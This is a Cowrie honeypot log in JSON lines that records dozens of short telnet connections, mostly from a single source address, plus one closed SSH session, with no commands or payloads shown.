{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52356,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e431b2af406","protocol":"telnet","message":"New connection: 51.161.172.108:52356 (159.203.135.109:23) [session: 6e431b2af406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.220570Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52374,"dst_ip":"159.203.135.109","dst_port":23,"session":"53b05eb7b1ac","protocol":"telnet","message":"New connection: 51.161.172.108:52374 (159.203.135.109:23) [session: 53b05eb7b1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.246367Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52366,"dst_ip":"159.203.135.109","dst_port":23,"session":"7baa5a8bdf65","protocol":"telnet","message":"New connection: 51.161.172.108:52366 (159.203.135.109:23) [session: 7baa5a8bdf65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.286923Z"}
{"eventid":"cowrie.session.closed","duration":31.18235158920288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.300216Z","src_ip":"51.161.172.108","session":"727bda469572","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55375647544861,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.314608Z","src_ip":"51.161.172.108","session":"3331baf4e6be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52380,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c33bd0b7c75","protocol":"telnet","message":"New connection: 51.161.172.108:52380 (159.203.135.109:23) [session: 0c33bd0b7c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.445030Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52396,"dst_ip":"159.203.135.109","dst_port":23,"session":"8325d2dd808e","protocol":"telnet","message":"New connection: 51.161.172.108:52396 (159.203.135.109:23) [session: 8325d2dd808e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.450192Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52428,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed10451e120b","protocol":"telnet","message":"New connection: 51.161.172.108:52428 (159.203.135.109:23) [session: ed10451e120b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.574059Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52436,"dst_ip":"159.203.135.109","dst_port":23,"session":"b687a691844b","protocol":"telnet","message":"New connection: 51.161.172.108:52436 (159.203.135.109:23) [session: b687a691844b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.630883Z"}
{"eventid":"cowrie.session.closed","duration":31.490820169448853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.654725Z","src_ip":"45.10.154.244","session":"978353e7a5c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.438133001327515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.689799Z","src_ip":"51.161.172.108","session":"2dfaf135a7ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":48376,"dst_ip":"159.203.135.109","dst_port":23,"session":"37247a6daa29","protocol":"telnet","message":"New connection: 167.99.38.72:48376 (159.203.135.109:23) [session: 37247a6daa29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.710654Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52476,"dst_ip":"159.203.135.109","dst_port":23,"session":"3636b746e862","protocol":"telnet","message":"New connection: 51.161.172.108:52476 (159.203.135.109:23) [session: 3636b746e862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.793947Z"}
{"eventid":"cowrie.session.closed","duration":31.05351495742798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.866774Z","src_ip":"51.161.172.108","session":"8e193f8dd8aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52528,"dst_ip":"159.203.135.109","dst_port":23,"session":"032a3e580fa3","protocol":"telnet","message":"New connection: 51.161.172.108:52528 (159.203.135.109:23) [session: 032a3e580fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:19.006595Z"}
{"eventid":"cowrie.session.closed","duration":30.65834093093872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:19.078589Z","src_ip":"45.10.154.244","session":"1d41934080a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52544,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfc8f30c4ad2","protocol":"telnet","message":"New connection: 51.161.172.108:52544 (159.203.135.109:23) [session: dfc8f30c4ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:19.128390Z"}
{"eventid":"cowrie.session.closed","duration":30.616971015930176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:19.189666Z","src_ip":"51.161.172.108","session":"af7b659ebd28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35636,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa259dda43dc","protocol":"telnet","message":"New connection: 51.161.172.108:35636 (159.203.135.109:23) [session: fa259dda43dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:19.215279Z"}
{"eventid":"cowrie.session.closed","duration":31.193855047225952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:19.328460Z","src_ip":"51.161.172.108","session":"19f64d00536f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17481803894043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:19.386059Z","src_ip":"51.161.172.108","session":"67ec960d117e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71891188621521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:19.498975Z","src_ip":"51.161.172.108","session":"2e6ecf8cde3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18937110900879,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:19.537965Z","src_ip":"45.10.154.244","session":"c775eefa2a0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.040610790252686,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.043467Z","src_ip":"167.99.38.72","session":"95ee8cbd042d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52524,"dst_ip":"159.203.135.109","dst_port":23,"session":"793ec7d5e791","protocol":"telnet","message":"New connection: 51.161.172.108:52524 (159.203.135.109:23) [session: 793ec7d5e791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.048682Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35772,"dst_ip":"159.203.135.109","dst_port":23,"session":"a94925d3a4a5","protocol":"telnet","message":"New connection: 51.161.172.108:35772 (159.203.135.109:23) [session: a94925d3a4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.092396Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35776,"dst_ip":"159.203.135.109","dst_port":23,"session":"5241a791b4a2","protocol":"telnet","message":"New connection: 51.161.172.108:35776 (159.203.135.109:23) [session: 5241a791b4a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.112007Z"}
{"eventid":"cowrie.session.closed","duration":30.569725036621094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.145444Z","src_ip":"51.161.172.108","session":"24ba44d920ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68594193458557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.151172Z","src_ip":"51.161.172.108","session":"bdb2c5cb2141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02166247367859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.212192Z","src_ip":"51.161.172.108","session":"4f8e146dec71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.859391689300537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.311415Z","src_ip":"51.161.172.108","session":"b3bc7abf0693","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52484,"dst_ip":"159.203.135.109","dst_port":23,"session":"d63d79e10338","protocol":"telnet","message":"New connection: 51.161.172.108:52484 (159.203.135.109:23) [session: d63d79e10338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.370195Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35710,"dst_ip":"159.203.135.109","dst_port":23,"session":"46f9bf1d9fe4","protocol":"telnet","message":"New connection: 51.161.172.108:35710 (159.203.135.109:23) [session: 46f9bf1d9fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.454528Z"}
{"eventid":"cowrie.session.closed","duration":31.479214429855347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.504266Z","src_ip":"51.161.172.108","session":"db2d30a24410","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35728,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce64291a2968","protocol":"telnet","message":"New connection: 51.161.172.108:35728 (159.203.135.109:23) [session: ce64291a2968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.608037Z"}
{"eventid":"cowrie.session.closed","duration":31.676053762435913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.670226Z","src_ip":"51.161.172.108","session":"eeca8aa70823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35742,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcb9a3d7cd7f","protocol":"telnet","message":"New connection: 51.161.172.108:35742 (159.203.135.109:23) [session: bcb9a3d7cd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.787506Z"}
{"eventid":"cowrie.session.closed","duration":32.54872488975525,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.821880Z","src_ip":"51.161.172.108","session":"a48c1292b541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35770,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bad39162e7b","protocol":"telnet","message":"New connection: 51.161.172.108:35770 (159.203.135.109:23) [session: 7bad39162e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:20.875097Z"}
{"eventid":"cowrie.session.closed","duration":31.41662621498108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.098517Z","src_ip":"51.161.172.108","session":"1f018472229d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.87977695465088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.102805Z","src_ip":"51.161.172.108","session":"11f9b03992d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35820,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b7881d73874","protocol":"telnet","message":"New connection: 51.161.172.108:35820 (159.203.135.109:23) [session: 8b7881d73874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.163147Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35832,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4f038c3a66d","protocol":"telnet","message":"New connection: 51.161.172.108:35832 (159.203.135.109:23) [session: f4f038c3a66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.294031Z"}
{"eventid":"cowrie.session.closed","duration":30.998334407806396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.334894Z","src_ip":"51.161.172.108","session":"7e468c1ca6e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932431936264038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.385504Z","src_ip":"51.161.172.108","session":"0d0df928ecda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.081937313079834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.409430Z","src_ip":"51.161.172.108","session":"94e7b8f41ca0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35850,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c7300ca4bc5","protocol":"telnet","message":"New connection: 51.161.172.108:35850 (159.203.135.109:23) [session: 3c7300ca4bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.493861Z"}
{"eventid":"cowrie.session.closed","duration":31.286691188812256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.556288Z","src_ip":"51.161.172.108","session":"fb018766cf59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35864,"dst_ip":"159.203.135.109","dst_port":23,"session":"a95de0d098e6","protocol":"telnet","message":"New connection: 51.161.172.108:35864 (159.203.135.109:23) [session: a95de0d098e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.560422Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35852,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b96d07ac750","protocol":"telnet","message":"New connection: 51.161.172.108:35852 (159.203.135.109:23) [session: 6b96d07ac750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.649580Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35870,"dst_ip":"159.203.135.109","dst_port":23,"session":"295bf32bf2c8","protocol":"telnet","message":"New connection: 51.161.172.108:35870 (159.203.135.109:23) [session: 295bf32bf2c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.668350Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35868,"dst_ip":"159.203.135.109","dst_port":23,"session":"3db06aca616c","protocol":"telnet","message":"New connection: 51.161.172.108:35868 (159.203.135.109:23) [session: 3db06aca616c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.728038Z"}
{"eventid":"cowrie.session.closed","duration":31.48847198486328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.767305Z","src_ip":"51.161.172.108","session":"a63f97450d20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.52033829689026,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.785425Z","src_ip":"167.99.38.72","session":"e23faeaf6b3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01626682281494,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:21.917537Z","src_ip":"51.161.172.108","session":"868aa8ebdd7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90090751647949,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:22.054547Z","src_ip":"167.99.38.72","session":"22a70ecebc25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74620294570923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:22.078844Z","src_ip":"51.161.172.108","session":"bbd30c8d4133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35942,"dst_ip":"159.203.135.109","dst_port":23,"session":"41848796b623","protocol":"telnet","message":"New connection: 51.161.172.108:35942 (159.203.135.109:23) [session: 41848796b623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:22.227236Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35954,"dst_ip":"159.203.135.109","dst_port":23,"session":"a49715bfd4fa","protocol":"telnet","message":"New connection: 51.161.172.108:35954 (159.203.135.109:23) [session: a49715bfd4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:22.307759Z"}
{"eventid":"cowrie.session.closed","duration":30.595953941345215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:22.315015Z","src_ip":"51.161.172.108","session":"e949c8428986","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56004,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3ffa9925f09","protocol":"telnet","message":"New connection: 45.10.154.244:56004 (10.17.0.5:23) [session: a3ffa9925f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:22.321841Z"}
{"eventid":"cowrie.session.closed","duration":31.192082405090332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:22.354134Z","src_ip":"51.161.172.108","session":"87347676bc83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90817904472351,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:22.381408Z","src_ip":"51.161.172.108","session":"1cfa55887a54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35976,"dst_ip":"159.203.135.109","dst_port":23,"session":"d825d8cb90a6","protocol":"telnet","message":"New connection: 51.161.172.108:35976 (159.203.135.109:23) [session: d825d8cb90a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:22.580914Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36016,"dst_ip":"159.203.135.109","dst_port":23,"session":"a572b3f7fdcc","protocol":"telnet","message":"New connection: 51.161.172.108:36016 (159.203.135.109:23) [session: a572b3f7fdcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:22.780260Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36042,"dst_ip":"159.203.135.109","dst_port":23,"session":"3edd91298cfc","protocol":"telnet","message":"New connection: 51.161.172.108:36042 (159.203.135.109:23) [session: 3edd91298cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:22.848744Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36036,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fd83a443870","protocol":"telnet","message":"New connection: 51.161.172.108:36036 (159.203.135.109:23) [session: 1fd83a443870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:22.867756Z"}
{"eventid":"cowrie.session.closed","duration":31.40696430206299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.020071Z","src_ip":"51.161.172.108","session":"bfd00b6772d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4452862739563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.038750Z","src_ip":"51.161.172.108","session":"6a6d466ebe55","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6b8e391e139a2f0ea91a7385613e99e6b4e9a745e391b2946431080d282ab589","size":2,"shasum":"6b8e391e139a2f0ea91a7385613e99e6b4e9a745e391b2946431080d282ab589","duplicate":false,"duration":"7.6","message":"Closing TTY Log: var/lib/cowrie/tty/6b8e391e139a2f0ea91a7385613e99e6b4e9a745e391b2946431080d282ab589 after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.114771Z","src_ip":"122.168.114.167","session":"ae4c7f6aa9c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"83.6","message":"Connection lost after 83.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.119682Z","src_ip":"122.168.114.167","session":"ae4c7f6aa9c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.269570112228394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.175508Z","src_ip":"51.161.172.108","session":"8485a25bf1e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36126,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcbecc6e05f6","protocol":"telnet","message":"New connection: 51.161.172.108:36126 (159.203.135.109:23) [session: dcbecc6e05f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.203374Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36154,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6280eaada09","protocol":"telnet","message":"New connection: 51.161.172.108:36154 (159.203.135.109:23) [session: e6280eaada09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.214423Z"}
{"eventid":"cowrie.session.closed","duration":31.027095079421997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.227449Z","src_ip":"51.161.172.108","session":"78b7cfafd98f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36166,"dst_ip":"159.203.135.109","dst_port":23,"session":"c43fb97317a6","protocol":"telnet","message":"New connection: 51.161.172.108:36166 (159.203.135.109:23) [session: c43fb97317a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.234407Z"}
{"eventid":"cowrie.session.closed","duration":30.488057613372803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.276429Z","src_ip":"51.161.172.108","session":"c6c04450f345","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6570246219635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.377024Z","src_ip":"51.161.172.108","session":"3d0d87f62c82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7484073638916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.396442Z","src_ip":"51.161.172.108","session":"167db9308d41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":35746,"dst_ip":"159.203.135.109","dst_port":23,"session":"443b295debfb","protocol":"telnet","message":"New connection: 34.69.118.1:35746 (159.203.135.109:23) [session: 443b295debfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.639428Z"}
{"eventid":"cowrie.session.closed","duration":31.82791495323181,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.683278Z","src_ip":"51.161.172.108","session":"c6c022cc3c3b","protocol":"telnet"}
